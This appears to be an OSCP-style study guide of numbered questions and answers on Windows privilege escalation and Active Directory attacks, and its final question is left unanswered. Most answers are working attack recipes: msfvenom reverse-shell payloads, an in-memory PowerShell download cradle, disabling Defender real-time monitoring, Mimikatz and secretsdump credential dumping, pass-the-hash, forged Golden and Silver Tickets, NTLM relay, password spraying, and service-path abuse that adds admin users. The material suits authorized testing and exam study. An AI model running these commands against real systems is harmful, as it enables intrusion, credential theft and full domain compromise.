Windows PrivEsc methodology: (1) System information — OS version, patch level; (2) User context — whoami /priv, whoami /groups; (3) Running services — services with weak permissions; (4) Scheduled tasks — writable task scripts; (5) Registry PrivEsc — AlwaysInstallElevated, unquoted service paths, autorun keys; (6) Token impersonation — SeImpersonatePrivilege (Potato attacks); (7) Password hunting — config files, registry, memory; (8) Kernel exploits — unpatched vulnerabilities; (9) Weak file permissions — writable service binaries; (10) Stored credentials — credential manager, DPAPI, SAM. Tools: WinPEAS (automated), PowerUp.ps1, Seatbelt.

Q87 QUESTION

What are Windows token impersonation attacks (Potato)?

ANSWER

Token impersonation exploits Windows authentication to elevate from service account to SYSTEM. Required privilege: SeImpersonatePrivilege (most service accounts have this). Potato family: JuicyPotato (older Windows — abuses DCOM), PrintSpoofer (Windows 10/Server 2019 — abuses print spooler), RoguePotato, GodPotato (most modern — works on 2016-2022). Usage: check 'whoami /priv' □ if SeImpersonatePrivilege enabled □ download appropriate potato □ 'PrintSpoofer.exe -i -c cmd'. Example: Compromise IIS web server □ running as IIS AppPool\DefaultAppPool (service account) □ 'whoami /priv' shows SeImpersonatePrivilege □ 'PrintSpoofer.exe -i -c powershell' □ NT AUTHORITY\SYSTEM shell.

Q88 QUESTION

What is unquoted service path exploitation?

ANSWER

Windows resolves spaces in service paths by trying each space as a path break. Vulnerable: 'C:\Program Files\My App\service.exe' (no quotes). Windows tries: C:\Program.exe □ C:\Program Files\My.exe □ C:\Program Files\My App\service.exe. Exploit: place malicious executable at C:\Program.exe (requires write permission to C:\) or C:\Program Files\My.exe. Find: 'wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\" | findstr /i /v "\\\"'. PowerUp: 'Get-UnquotedService'. Write malicious file: msfvenom generates .exe, copy to path. Example: 'C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe' □ place malicious 'Program.exe' in C:\ □ restart service (if permissions allow) □ SYSTEM shell.

Q89 QUESTION

What is AlwaysInstallElevated exploitation on Windows?

ANSWER

AlwaysInstallElevated allows any user to install MSI packages as SYSTEM. Check: 'reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated' AND 'reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated'. Both must return 0x1. Generate MSI: 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o evil.msi'. Execute: 'msiexec /quiet /qn /i evil.msi' □ shell as SYSTEM. PowerUp: 'Get-RegistryAlwaysInstallElevated'. Fix: set both registry keys to 0 via Group Policy. Common in CTFs and poorly configured enterprise Windows. Example: Low-privilege user □ reg query confirms AlwaysInstallElevated □ msfvenom MSI payload □ msiexec □ SYSTEM reverse shell caught by Netcat listener.

Q90 QUESTION

What is Windows service exploitation (writable service binaries)?

ANSWER

Services running as SYSTEM with writable binary $\square$ replace binary $\square$ restart service $\square$ SYSTEM. Find writable services: 'accesschk.exe -uwcqv "Users" * /accepteula' (accesschk shows permissions). PowerUp: 'Invoke-AllChecks' or 'Get-ModifiableServiceFile'. Steps: (1) Find service with writable binary path; (2) Generate reverse shell: 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe'; (3) Copy shell to service binary path: 'copy shell.exe C:\Path\To\service.exe'; (4) Restart service: 'sc stop servicename && sc start servicename'; (5) Catch SYSTEM shell. Alternative: modify service's binpath: 'sc config servicename binpath= "cmd.exe /c reverse_shell_command"'.

Q91 QUESTION

What is the Windows registry PrivEsc?

ANSWER

Registry-based privilege escalation: (1) Autorun keys — programs launched at startup by higher-privileged users; (2) Service parameters — modify service registry to change binary path; (3) AlwaysInstallElevated (above); (4) SAM database (offline attack). Autorun attack: 'reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' $\square$ find writable program path $\square$ replace with reverse shell. Check writeability: 'accesschk.exe -wvu HKLM\Software\Microsoft\Windows\CurrentVersion\Run'. Example: 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp = C:\Tools\myapp.exe' $\square$ 'accesschk.exe' shows all users can write $\square$ replace myapp.exe with reverse shell $\square$ wait for admin login $\square$ SYSTEM shell.

Q92 QUESTION

What is WinPEAS and how to interpret results?

ANSWER

WinPEAS (Windows Privilege Escalation Awesome Script) automates enumeration. Download: transfer winpeas.exe or winpeas.bat to target. Run: '.\winpeas.exe' or 'winpeas.bat'. Output color: red = high probability PrivEsc, yellow = potential, white = info. Key sections: System Info (OS/patch level $\square$ kernel exploits), Users (password policies, saved creds), Processes (running as SYSTEM?), Services (weak permissions), Network (listening services), Scheduled Tasks, CredentialManager, SAM/NTDS access. WinPEAS also checks: DPAPI master keys, Vault credentials, WiFi passwords, browser credentials, PowerShell history. Example: WinPEAS output shows SeImpersonatePrivilege (red) + unquoted service path (red) + AlwaysInstallElevated (yellow) $\square$ multiple attack paths to SYSTEM.

Q93 QUESTION

What is Windows password hunting?

ANSWER

Windows credential locations: (1) Registry: 'reg query HKLM /f password /t REG_SZ /s', 'reg query HKCU /f password /t REG_SZ /s'; (2) PowerShell history: '%APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt'; (3) Unattended install files: C:\Windows\Panther\Unattend.xml, Unattend.txt, sysprep.xml, sysprep.inf; (4) Web config: IIS web.config, applicationHost.config; (5) Application config files; (6) Credential Manager: 'cmdkey /list', 'runas /savedcred /user:admin cmd'. Mimikatz (if admin): 'sekurlsa::logonpasswords' — dump cleartext passwords from LSASS. Example: Unattend.xml found in C:\Windows\Panther\ $\square$ contains Administrator password base64 encoded $\square$ decode $\square$ RunAs Administrator $\square$ full system access.

Q94 QUESTION

What are Windows kernel exploits in OSCP?

ANSWER

Windows kernel exploits target unpatched vulnerabilities. Find patch level: 'systeminfo' ▢ look for 'Hotfix(s): N/A' or specific KB numbers. Tools: Windows-Exploit-Suggester: 'systeminfo > sysinfo.txt' ▢ feed to suggester ▢ list of applicable CVEs. Famous exploits: MS17-010 EternalBlue (Windows 7/2008 SMB — Metasploit), MS16-032 Secondary Logon (Windows Vista-10), MS14-058 TrackPopupMenu (Windows XP-2008), PrintNightmare (CVE-2021-1675 — Windows Print Spooler), Hot Potato (Windows 7-10), MS16-016 WebDAV. Example: systeminfo shows no patches since 2019 ▢ Windows-Exploit-Suggester recommends CVE-2019-1458 ▢ download PoC ▢ compile ▢ run ▢ SYSTEM. Always compile for exact target architecture (x86 vs x64).

Q95 QUESTION

What is SeBackupPrivilege exploitation?

ANSWER

SeBackupPrivilege allows reading any file regardless of ACL (intended for backup purposes). Exploit: read SAM and SYSTEM registry hives ▢ extract NTLM hashes offline ▢ pass-the-hash or crack. Commands: 'reg save HKLM\SAM C:\Temp\sam' (save SAM hive), 'reg save HKLM\SYSTEM C:\Temp\system'. Transfer to Kali: download sam and system files. Extract hashes: 'impacket-secretsdump -sam sam -system system LOCAL' ▢ gets NTLM hashes for all local users. Crack or pass: 'hashcat -m 1000 hash.txt rockyou.txt' or pass-the-hash with evil-winrm/psexec. Example: Service account has SeBackupPrivilege ▢ dump SAM ▢ get Administrator hash ▢ evil-winrm with hash ▢ full administrator access.

Q96 QUESTION

What is Windows lateral movement with stolen credentials?

ANSWER

Using obtained Windows credentials to move laterally: WinRM (port 5985): 'evil-winrm -i 192.168.x.x -u administrator -p password'. SMB/PSEXec: 'impacket-psexec administrator:password@192.168.x.x'. Pass-the-hash: 'evil-winrm -i IP -u administrator -H [NTLM hash]', 'impacket-psexec -hashes [LM:NT] administrator@IP'. RDP: 'xfreerdp /v:IP /u:administrator /p:password /cert:ignore'. SMB list shares: 'smbclient -L //IP -U administrator%password'. Spray credentials across all discovered machines: 'crackmapexec smb 192.168.x.0/24 -u administrator -p password' — identifies all machines where credentials work. Example: Compromise Machine A ▢ find local admin hash ▢ spray across subnet ▢ administrator hash works on Machine B and Machine C ▢ access all three.

Q97 QUESTION

What is PowerShell for Windows post-exploitation?

ANSWER

PowerShell is the primary post-exploitation tool in Windows OSCP environments. Download files: '(New-Object System.Net.WebClient).DownloadFile("http://IP/file","C:\Temp\file.exe")'. Run in memory (fileless): 'IEX(New-Object Net.WebClient).DownloadString("http://IP/script.ps1")'. Bypass execution policy: 'powershell -ExecutionPolicy Bypass -File script.ps1'. Bypass AMSI (Antimalware Scan Interface): 'Set-MpPreference -DisableRealtimeMonitoring \$true' (if admin). Enumeration: 'Get-LocalUser', 'Get-LocalGroupMember Administrators', 'Get-Process', 'Get-ScheduledTask', 'Get-Service'. Example: Catch reverse shell ▢ PowerShell download cradle loads PowerUp.ps1 in memory ▢ 'Invoke-AllChecks' ▢ identifies AlwaysInstallElevated ▢ generates MSI ▢ SYSTEM.

Q98 QUESTION

What is Windows scheduled task exploitation for PrivEsc?

ANSWER

Scheduled tasks run commands at specified intervals — if task runs as SYSTEM with modifiable command: PrivEsc. Enumerate: 'schtasks /query /fo LIST /v | findstr /b "TaskName\|Run As User\|Task To Run"'. PowerShell: 'Get-ScheduledTask | Select-Object TaskName, @{n="Principal";e={\$_.Principal.UserId}}, @{n="Action";e={\$_.Actions.Execute}}'. Look for: tasks running as SYSTEM/Administrator with path to a writable script/binary. Modify: overwrite the target script with reverse shell. Wait: task executes on schedule □ SYSTEM shell. Detection tool: WinPEAS lists interesting scheduled tasks. Example: SYSTEM task runs 'C:\Scripts\cleanup.bat' every hour □ 'icacls C:\Scripts\cleanup.bat' shows BUILTIN\Users:(W) □ overwrite with reverse shell command □ wait □ SYSTEM shell.

Q99 QUESTION

What is DLL hijacking detection in OSCP?

ANSWER

DLL hijacking loads malicious DLL instead of legitimate one. Find: Process Monitor (Procmon) — filter for NAME NOT FOUND + .dll + running application. Windows DLL search order: application directory □ System32 □ System □ Windows □ current directory □ PATH. Safe DLL search mode (default): system folders searched before PATH. Attack: application loads missing DLL from PATH □ create malicious DLL in writable PATH directory. Tools: WinPEAS lists potential DLL hijacking paths, Process Monitor (requires GUI). OSCP shortcut: WinPEAS output section 'DLL Hijacking'. Compile DLL: 'x86_64-w64-mingw32-gcc -shared -o hijack.dll exploit.c'. Example: Application runs as SYSTEM, loads 'version.dll' from application directory (not found in system), place malicious version.dll there □ application loads □ DLL code executes as SYSTEM.

Q100 QUESTION

What is PrintNightmare (CVE-2021-1675) exploitation?

ANSWER

PrintNightmare exploits Windows Print Spooler service — allows any authenticated user to install printer drivers □ code execution as SYSTEM. Two variants: LPE (Local Privilege Escalation) and RCE (Remote Code Execution). LPE exploit: run as low-privilege user □ SYSTEM. Tools: SharpPrintNightmare.exe, PowerShell PoC. Check: 'Get-Service -Name Spooler' (running = potentially vulnerable) + check patch level. PowerShell LPE: 'Import-Module .\CVE-2021-1675.ps1; Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperPassword123" □ creates local admin john. Metasploit: 'use exploit/windows/local/cve_2021_1675_printnightmare'. Example: Low-priv shell □ run PrintNightmare LPE □ new local admin created □ runas or evil-winrm as new admin □ SYSTEM access.

Q101 QUESTION

What is SeBackupPrivilege and SeRestorePrivilege exploitation?

ANSWER

SeBackupPrivilege/SeRestorePrivilege allow reading/writing any file regardless of ACL — designed for backup software. Exploit SeBackupPrivilege: read SAM and SYSTEM hives □ extract local hashes. Commands: 'reg save HKLM\SAM C:\Temp\sam' and 'reg save HKLM\SYSTEM C:\Temp\sys' □ transfer to Kali □ 'impacket-secretsdump -sam sam -system sys LOCAL' □ get NTLM hashes □ crack or PtH. On Domain Controller: backup NTDS.dit (AD database) □ secretsdump extracts ALL domain hashes. SeRestorePrivilege: write anywhere — overwrite service binary with malicious executable □ restart service □ SYSTEM. Check: 'whoami /priv | findstr Backup' — if 'SeBackupPrivilege' or 'SeRestorePrivilege' shown with Enabled □ exploit.

Q102 QUESTION

What is Windows token manipulation (Incognito)?

ANSWER

Token impersonation steals tokens from other processes. Meterpreter Incognito: 'load incognito' □ 'list_tokens -u' □ 'impersonate_token "CORP\\DomainAdmin"'. Requirements: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. Token types: Delegation (interactive logon tokens — most powerful), Impersonation. Other tools: Invoke-TokenManipulation (PowerShell), Rotten Potato (legacy), Print Spoofer. Workflow: gain SeImpersonatePrivilege (service account) □ PrintSpoofer creates SYSTEM token □ impersonate □ SYSTEM shell. Token delegation: if Domain Admin is logged into the machine (RDP, WinRM, scheduled task) □ their delegation token available □ impersonate □ Domain Admin access without knowing password. Example: Meterpreter as IIS service □ 'list_tokens -u' shows 'CORP\Administrator' delegation token □ 'impersonate_token' □ run as Domain Admin.

Q103 QUESTION

What is Windows service binary path modification?

ANSWER

Service with weak permissions allows changing the binary path to execute arbitrary code. Find: 'sc qc servicename' shows binary path. Check modifiable: 'accesschk.exe /accepteula -ucqv servicename' — shows permissions. PowerUp: 'Get-ModifiableService'. Attack: 'sc config servicename binpath= "cmd.exe /c net user hacker Pass123 /add"' — change binary to command that creates admin user. Restart service: 'sc stop servicename && sc start servicename'. Alternative: generate reverse shell exe, change binpath to that exe. Verify: 'net localgroup administrators' shows new user. Permissions needed: SERVICE_CHANGE_CONFIG on the service. Example: 'accesschk.exe -ucqv VulnService' shows 'BUILTIN\Users SERVICE_CHANGE_CONFIG' — 'sc config VulnService binpath= "net user pwned Password123 /add"' — restart service — 'net localgroup administrators pwned /add' — runas to admin.

Q104 QUESTION

What is OSCP Windows PrivEsc methodology summary?

ANSWER

Windows PrivEsc decision tree for OSCP: Step 1 — 'whoami /priv': SeImpersonatePrivilege enabled = Potato attack to SYSTEM immediately. Step 2 — WinPEAS full scan: review all red findings. Step 3 — Service permissions: 'accesschk.exe -uwcqv Users *' for writable services. Step 4 — Unquoted paths: 'wmic service get pathname' grep for spaces without quotes. Step 5 — AlwaysInstallElevated: reg query both HKCU and HKLM keys. Step 6 — Scheduled tasks: schtasks as SYSTEM with writable script. Step 7 — Registry autorun: writable autorun executables. Step 8 — Stored credentials: cmdkey list, PowerShell history, unattend.xml. Step 9 — Kernel: systeminfo hotfixes, Windows-Exploit-Suggester. Step 10 — Password reuse: try all collected passwords on local admin. 80% of OSCP Windows machines have answer in steps 1-5. Always run WinPEAS — it covers everything automatically.

Q105 QUESTION

What is the Windows password spray across domain?

ANSWER

Domain-wide credential spraying maximizes foothold from single credential find. Spray with CrackMapExec: 'crackmapexec smb 192.168.x.0/24 -u username -p password --continue-on-success'. Output: green [+] = valid credentials, (Pwn3d!) = local admin. Spray entire domain at once: 'crackmapexec smb DC_IP -u users.txt -p passwords.txt'. Protocol spray: test same credentials on SMB, WinRM (5985), RDP (3389), SSH (22), FTP (21). evil-winrm spray: 'for user in alice bob john; do evil-winrm -i IP -u \$user -p "Password123" 2>&1 | grep -v Error; done'. Password list construction: collect all passwords found during engagement, generate variations (season+year, company+year, Service+year), include common defaults. Example: Find password 'Summer2021' in web.config on one machine, spray across entire subnet with crackmapexec, 4 more machines return (Pwn3d!), lateral movement complete.

Q106 QUESTION

What are the immediate commands after getting a Linux shell?

ANSWER

First 10 commands after Linux shell: 'id' (current user and groups), 'sudo -l' (sudo permissions — immediate PrivEsc check), 'uname -r' (kernel version for exploit research), 'ip addr && ip route' (network info for pivoting), 'netstat -tulpn' or 'ss -tulpn' (internal services), 'cat /etc/passwd | grep -v nologin' (valid users), 'ls -la /home/' (other user directories), 'ls -la' in current directory (interesting files nearby), 'cat ~/.bash_history' (command history with credentials), 'find / -perm -4000 -type f 2>/dev/null' (SUID files). Then immediately: transfer and run LinPEAS. While LinPEAS runs: manually check sudo, SUID, cron, and credentials in parallel. Do not wait for LinPEAS to finish before starting manual checks — parallel approach saves significant time. First sudo -l result often gives instant root — never skip.

6 Active Directory Attacks

21 Qs

Q107 QUESTION

What is Active Directory enumeration in OSCP?

ANSWER

AD enumeration discovers domain structure for attack planning. With credentials: 'net user /domain' (all domain users), 'net group /domain' (domain groups), 'net group "Domain Admins" /domain' (DA members). PowerView: 'Get-NetDomain', 'Get-NetUser', 'Get-NetComputer', 'Get-NetGroup'. BloodHound/SharpHound: 'SharpHound.exe -c All' □ collects all AD data □ import to BloodHound □ visual attack paths. BloodHound queries: 'Find Shortest Paths to Domain Admins', 'Find All Domain Admins', 'Find Kerberoastable Users'. Example: BloodHound reveals user 'helpdesk' has GenericAll on user 'svcbackup' who is member of 'Backup Operators' who have DCSync rights – attack path to domain compromise mapped.

Q108 QUESTION

What is Kerberoasting?

ANSWER

Kerberoasting attacks Kerberos service tickets to crack service account passwords offline. Concept: any authenticated domain user can request TGS (Ticket Granting Service) tickets for SPNs – ticket encrypted with service account's NTLM hash – crack offline. Steps: (1) Find accounts with SPNs: 'GetUserSPNs.py domain/user:password -dc-ip DC_IP'; (2) Request tickets: add '-request' flag □ saves hashes; (3) Crack with Hashcat: 'hashcat -m 13100 hashes.txt rockyou.txt'. Service accounts often have weak passwords and don't change often. Example: 'GetUserSPNs.py corp.local/john:password123 -dc-ip 10.10.10.5 -request' □ finds MSSQLSvc SPN □ gets \$krb5tgs hash □ Hashcat cracks 'Service@2019' in 30 seconds □ 'net user svcmsql' shows Domain Admin group membership □ domain compromised.

Q109 QUESTION

What is AS-REP Roasting?

ANSWER

AS-REP Roasting targets accounts with 'Do not require Kerberos preauthentication' enabled – no credentials required. Normal Kerberos: client encrypts timestamp with password hash for AS-REQ. Pre-auth disabled: DC returns AS-REP encrypted with password hash without verifying client □ can crack offline. Steps: (1) Find vulnerable accounts (no credentials needed): 'GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip DC_IP'; (2) Crack: 'hashcat -m 18200 hashes.txt rockyou.txt'. Example: 'GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5' □ returns hash for user 'svcbackup' □ Hashcat cracks 'Backup2021' □ log in □ check group membership □ escalate.

Q110 QUESTION

What is Pass-the-Hash in Active Directory context?

ANSWER

Pass-the-Hash uses NTLM hash for authentication without knowing plaintext password. Extract hashes: Mimikatz 'sekurlsa::logonpasswords' (LSASS dump, requires admin), secretdump.py (remote via admin), SAM dump (local). Use hash: 'evil-winrm -i IP -u administrator -H [NT hash]', 'impacket-psexec -hashes [LM:NT] administrator@IP', 'CrackMapExec smb 192.168.x.0/24 -u administrator -H [NT hash]'. Pass-the-Hash vs Pass-the-Ticket: PtH uses NTLM hashes (works against NTLM authentication), PtT uses Kerberos tickets (works against Kerberos). Example: Compromise workstation □ Mimikatz dump □ get Domain Admin hash □ evil-winrm to DC with hash □ Domain Admin shell □ dump entire domain with secretdump.

Q111 QUESTION

What is DCSync attack?

ANSWER

DCSync mimics Domain Controller replication to steal all domain password hashes without logging into DC. Requires: Domain Admin or account with Replication rights (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All). Mimikatz: 'lsadump::dcsync /domain:corp.local /user:administrator' □ gets administrator's NTLM hash. secretsdump.py (remote): 'impacket-secretsdump corp.local/admin:password@DC_IP' □ dumps all hashes. With all hashes: crack offline or pass-the-hash to any machine. Example: Compromise account with DS-Replication rights (found via BloodHound) □ secretsdump DCSync from Kali □ get all domain password hashes including krbtgt □ Golden Ticket attack or crack domain admin password □ full domain compromise.

Q112 QUESTION

What is Pass-the-Ticket (PtT)?

ANSWER

Pass-the-Ticket uses stolen Kerberos tickets (TGT or TGS) for authentication. Extract tickets: Mimikatz 'sekurlsa::tickets /export' (export all tickets as .kirbi files), Rubeus 'dump' (base64 encoded tickets). Import ticket: Mimikatz 'kerberos::ptt [ticket.kirbi]', Rubeus 'ptt /ticket:[base64]'. Overpass-the-Hash: convert NTLM hash to Kerberos TGT — Mimikatz 'sekurlsa::pth /user:admin /domain:corp.local /ntlm:[hash] /run:cmd' — spawns process with Kerberos ticket. Example: Compromise regular user on workstation □ Mimikatz exports Domain Admin TGT (DA was logged in recently — ticket cached) □ import DA ticket □ 'klist' shows DA ticket □ access DC shares, run commands as DA without knowing password.

Q113 QUESTION

What is a Golden Ticket attack?

ANSWER

Golden Ticket forges Kerberos TGTs using the krbtgt account hash — provides unlimited domain access. Requirements: krbtgt NTLM hash + Domain SID. Get krbtgt hash: DCSync or compromise DC and dump NTDS.dit. Create Golden Ticket (Mimikatz): 'kerberos::golden /user:administrator /domain:corp.local /sid:[domain SID] /krbtgt:[hash] /ptt' — creates and imports TGT. Now: access any domain resource as administrator — ticket valid for 10 years by default. Example: DCSync gets krbtgt hash □ Golden Ticket created for 'administrator' □ 'dir \\DC01\C\$' □ domain controller C: drive accessible □ persistence even if administrator password changed (krbtgt hash persists).

Q114 QUESTION

What is LDAP enumeration in Active Directory?

ANSWER

LDAP queries extract detailed AD information. Unauthenticated (if anonymous bind): 'ldapsearch -x -h DC_IP -b "dc=corp,dc=local"'. Authenticated: 'ldapsearch -x -h DC_IP -D "user@corp.local" -w password -b "dc=corp,dc=local"'. Useful queries: all users: '(objectClass=user)', service accounts with SPNs: '(&(objectClass=user)(servicePrincipalName=*))', accounts with no pre-auth: '(userAccountControl:1.2.840.113556.1.4.803:=4194304)', admin groups: '(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)'. LDAPDomainDump: 'ldapdomaindump -u corp\user -p password DC_IP' □ generates HTML reports of all AD objects.

Q115 QUESTION

What is BloodHound in OSCP?

ANSWER

BloodHound maps Active Directory attack paths using graph analysis. Components: SharpHound (collector — runs on Windows domain machine), BloodHound GUI (Neo4j-based visualization — runs on Kali). Collect data: 'SharpHound.exe -c All --zipfilename output.zip' or SharpHound.ps1 via PowerShell. Import to BloodHound: drag and drop zip file. Key queries: 'Shortest Paths to Domain Admins', 'Find All Domain Admins', 'Find Kerberoastable Users in High Value Groups', 'Find Computers with Unconstrained Delegation'. Edges explained: GenericAll (full control), WriteDACL (modify permissions), GenericWrite (write properties), ForceChangePassword (change password without knowing current). Example: BloodHound shows 'User □ HasSession □ Workstation01 □ AdminTo □ FileServer01 □ MemberOf □ Domain Admins' — full attack path mapped.

Q116 QUESTION

What is constrained vs unconstrained delegation?

ANSWER

Delegation allows a computer/service to authenticate to other services on behalf of users. Unconstrained delegation: computer can authenticate to ANY service as the connecting user. Exploit: if unconstrained delegation machine found □ if Domain Admin connects (coerce with SpoolSample) □ their TGT is stored on machine □ Mimikatz exports □ Golden Ticket. Find unconstrained: 'Get-ADComputer -Filter {TrustedForDelegation -eq \$true}'. Constrained delegation: machine can only delegate to specified services. Exploit S4U2Self if have machine hash. Find: 'Get-ADComputer -Filter {TrustedToAuthForDelegation -eq \$true}'. Example: BloodHound shows WEBSERVER01 has unconstrained delegation □ coerce DC authentication to WEBSERVER01 via PrinterBug □ DC's TGT stored □ extract □ Domain Admin access.

Q117 QUESTION

What is NTLM relay attack?

ANSWER

NTLM relay intercepts NTLM authentication and relays it to another service. Setup: (1) Disable SMB signing on target (check with CrackMapExec: '--gen-relay-list'); (2) Responder: 'responder -I eth0 -wf' (capture NTLM hashes); (3) ntlmrelayx: 'ntlmrelayx.py -tf targets.txt -smb2support' (relay to targets). Flow: victim authenticates to attacker (via Responder) □ attacker relays to target □ authenticated as victim. Combined with SMB signing disabled: relay to target, dump SAM hashes, execute commands. Example: Turn off Responder's SMB (edit /etc/responder/Responder.conf) □ run ntlmrelayx targeting Domain Controller □ trigger NTLM authentication from high-privilege user □ relay to DC □ SecretsDump □ get all domain hashes.

Q118 QUESTION

What are common Active Directory misconfigurations?

ANSWER

Common AD misconfigurations exploited in OSCP: (1) ACL abuses — GenericAll on user/group □ add to Domain Admins; (2) WriteDACL — grant yourself DCSync rights; (3) Kerberoastable service accounts with weak passwords; (4) AS-REP Roastable users; (5) Unconstrained delegation machines; (6) AdminSDHolder misconfiguration; (7) GPO write permissions — modify GPO applied to OU with privileged accounts; (8) Password in AD description field ('reg query' finds them); (9) Domain accounts as local admins everywhere. PowerView abuse: 'Add-DomainGroupMember -Identity "Domain Admins" -Members john' (if GenericAll on Domain Admins). Example: BloodHound finds user john has GenericAll on Domain Admins group □ 'net group "Domain Admins" john /domain /add' □ john is now Domain Admin.

Q119 QUESTION

What is BloodHound query types for OSCP?

ANSWER

BloodHound pre-built queries for OSCP: 'Find All Domain Admins' — who are the targets. 'Find Shortest Paths to Domain Admins' — automated attack path from owned nodes. 'Find Principals with DCSync Rights' — accounts that can DCSync. 'Find Computers with Unconstrained Delegation' — high-value targets. 'Find Kerberoastable Users in High Value Groups' — DA-path service accounts. 'List All Kerberoastable Accounts' — all Kerberoastable targets. Custom query — mark owned nodes (right-click ▢ Mark User as Owned) ▢ re-run shortest path from owned. Edge meanings: MemberOf (group membership), AdminTo (local admin), HasSession (user logged in), CanRCE (various exec methods), GenericAll (full control over object). Import SharpHound output ▢ run queries ▢ follow the path.

Q120 QUESTION

What is ACL abuse in Active Directory?

ANSWER

ACL (Access Control List) abuse exploits overpermissive permissions on AD objects. BloodHound edges for ACL: GenericAll (full control — add to group, reset password, RBCD attack), GenericWrite (write specific attributes — add SPN for Kerberoasting, modify logon script), WriteDACL (modify object's DACL — grant yourself GenericAll), WriteOwner (take ownership ▢ grant yourself rights), ForceChangePassword (reset password without knowing current). PowerView commands: 'Add-DomainGroupMember -Identity "Domain Admins" -Members john -Credential \$cred' (GenericAll on group), 'Set-DomainUserPassword -Identity victim -AccountPassword \$newpass -Credential \$cred' (ForceChangePassword). Example: BloodHound shows john has GenericAll on Domain Admins ▢ 'Add-DomainGroupMember -Identity "Domain Admins" -Members john' ▢ john is now DA.

Q121 QUESTION

What is LDAP pass-back attack?

ANSWER

LDAP pass-back captures LDAP credentials by redirecting LDAP traffic to attacker-controlled server. Target: network devices using LDAP for authentication (printers, VPNs, monitoring systems) — often have admin web UI showing LDAP configuration. Attack: access admin UI (default credentials common on printers) ▢ change LDAP server IP to attacker ▢ start responder or LDAP server ▢ trigger LDAP test connection ▢ device sends LDAP credentials to attacker. Cleartext: many devices send LDAP credentials in cleartext or weakly encrypted. Responder: 'responder -I eth0 -wrf' captures LDAP credentials. Example: HP printer web UI accessible ▢ admin/admin ▢ LDAP config shows server IP ▢ change to Kali IP ▢ test connection ▢ Responder captures 'svc-ldap:ServicePassword2020' ▢ spray on AD ▢ multiple account compromises.

Q122 QUESTION

What is Silver Ticket attack?

ANSWER

Silver Ticket forges Kerberos TGS (service tickets) for a specific service using the service account's hash. Less powerful than Golden Ticket (only targets one service) but harder to detect (doesn't contact DC). Requirements: service account NTLM hash + Domain SID + target SPN. Mimikatz: 'kerberos::golden /user:administrator /domain:corp.local /sid:[SID] /target:server.corp.local /service:cifs /rc4:[service_hash] /ptt'. Access: after importing ticket ▢ 'dir \\server.corp.local\C\$' ▢ authenticated as administrator for CIFS on server. Use cases: compromised service account hash ▢ forge ticket to access any resource that service account can access. Example: Kerberoast 'svcMSSQL' ▢ crack hash ▢ Silver Ticket for MSSQLSvc ▢ access SQL Server as administrator via forged ticket.

Q123 QUESTION

What is Resource-Based Constrained Delegation (RBCD) attack?

ANSWER

RBCD allows a computer to authenticate on behalf of users to another computer — exploited when we have GenericWrite on a computer object. Attack: (1) Create attacker-controlled machine account (or use existing with password you know); (2) Set msDS-AllowedToActOnBehalfOfOtherIdentity on victim computer to attacker's machine account; (3) Use S4U2Self + S4U2Proxy to get TGS as Domain Admin for victim computer; (4) Access victim computer as DA. Tools: PowerView + Rubeus or impacket. `impacket rbcd: 'rbcd.py -action write -delegate-to VICTIM$ -delegate-from ATTACKER$ corp/user:pass'`. Then: `'getST.py -spn cifs/VICTIM.corp.local -impersonate administrator corp/ATTACKER$:AttackerPass'`. Example: GenericWrite on FILESERVER\$ $\square$ set RBCD $\square$ S4U $\square$ TGS as administrator for CIFS $\square$ secretsdump via impacket $\square$ all local hashes.

Q124 QUESTION

What is pass-the-hash across Active Directory?

ANSWER

Pass-the-Hash uses NTLM hashes directly for authentication without cracking. Extract hashes: Mimikatz 'sekurlsa:logonpasswords' (admin required, dumps from LSASS), secretsdump (remote or from SAM/NTDS files). Tools for PtH: evil-winrm: 'evil-winrm -i IP -u administrator -H NT_HASH'. impacket-psexec: 'impacket-psexec -hashes LM:NT administrator@IP'. wmiexec: 'impacket-wmiexec -hashes LM:NT administrator@IP'. smbclient: 'smbclient //IP/share -U administrator --pw-nt-hash NT_HASH'. CrackMapExec: 'crackmapexec smb 192.168.x.0/24 -u administrator -H NT_HASH'. LM hash: use 'aad3b435b51404eeaad3b435b51404ee' if unknown (disabled in modern Windows). PtH for lateral movement: compromise one machine, dump local admin hash, spray across subnet — machines sharing same local admin password are all compromised. Example: Dump hash for 'administrator' from workstation, spray entire /24, all machines built from same image have same local admin hash — instant lateral movement.

Q125 QUESTION

What is LDAP enumeration with credentials in Active Directory?

ANSWER

Authenticated LDAP queries extract detailed AD information. Ldapsearch with credentials: 'ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -w password -b "DC=corp,DC=local" "(objectClass=user)" cn sAMAccountName'. LDAPDomainDump: 'ldapdomaindump -u corp\user -p password DC_IP -o /tmp/ldap/' — generates HTML reports for users, groups, computers, GPOs, trusts. Domain users with SPNs: 'ldapsearch ... "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName'. Password in description: 'ldapsearch ... "(objectClass=user)" sAMAccountName description' — admins sometimes put passwords in description fields. Disabled accounts: filter userAccountControl. Locked accounts. Admin accounts. Domain trusts: 'ldapsearch ... "(objectClass=trustedDomain)". Example: Ldapdomaindump generates domain_users.html — open in browser — description field for user 'helpdesk' shows 'Temp password: HelpDesk2023' — spray credential — domain user access obtained.

Q126 QUESTION

What is Kerberoasting methodology end to end?

ANSWER

